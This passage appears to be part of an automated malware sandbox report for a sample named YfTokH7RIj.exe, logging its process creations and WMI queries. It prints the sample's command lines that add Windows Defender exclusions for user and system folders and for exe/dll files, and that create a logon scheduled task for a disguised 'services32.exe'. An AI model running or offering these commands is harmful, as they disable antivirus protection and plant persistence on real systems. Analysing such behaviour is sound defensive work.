Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\services32.exe C:\Windows\system32\services32.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force"
Source: C:\Windows\System32\services32.exe	Process created: C:\Windows\System32\cmd.exe "cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"
Source: C:\Windows\System32\services32.exe	Process created: C:\Windows\System32\cmd.exe "cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit
Source: C:\Windows\System32\services32.exe	Process created: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe "C:\Windows\system32\Microsoft\Telemetry\sihost32.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force"
Source: C:\Users\user\Desktop\YfTokH7RIj.exe	Process created: C:\Users\user\AppData\Local\Temp\fl.exe "C:\Users\user\AppData\Local\Temp\fl.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Process created: C:\Windows\System32\cmd.exe "cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Process created: C:\Windows\System32\cmd.exe cmd" /c schtasks /create /f /sc onlogon /rl highest /tn "services32" /tr "C:\Windows\system32\services32.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Process created: C:\Windows\System32\cmd.exe cmd" cmd /c "C:\Windows\system32\services32.exe	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe schtasks /create /f /sc onlogon /rl highest /tn "services32" /tr "C:\Windows\system32\services32.exe"	Jump to behavior
Source: C:\Windows\System32\services32.exe	Process created: C:\Windows\System32\cmd.exe "cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\services32.exe C:\Windows\system32\services32.exe
Source: C:\Windows\System32\services32.exe	Process created: C:\Windows\System32\cmd.exe "cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit
Source: C:\Windows\System32\services32.exe	Process created: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe "C:\Windows\system32\Microsoft\Telemetry\sihost32.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force"

Source: C:\Users\user\Desktop\YfTokH7RIj.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{CF4CC405-E2C5-4DDD-B3CE-5E7582D8C9FA}\InprocServer32

Jump to behavior

Source: C:\Users\user\Desktop\YfTokH7RIj.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Process Where SessionId='1'
Source: C:\Users\user\Desktop\YfTokH7RIj.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Local\Temp\fl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine, ProcessID from Win32_Process
Source: C:\Windows\System32\services32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\services32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine, ProcessID from Win32_Process
Source: C:\Windows\System32\services32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
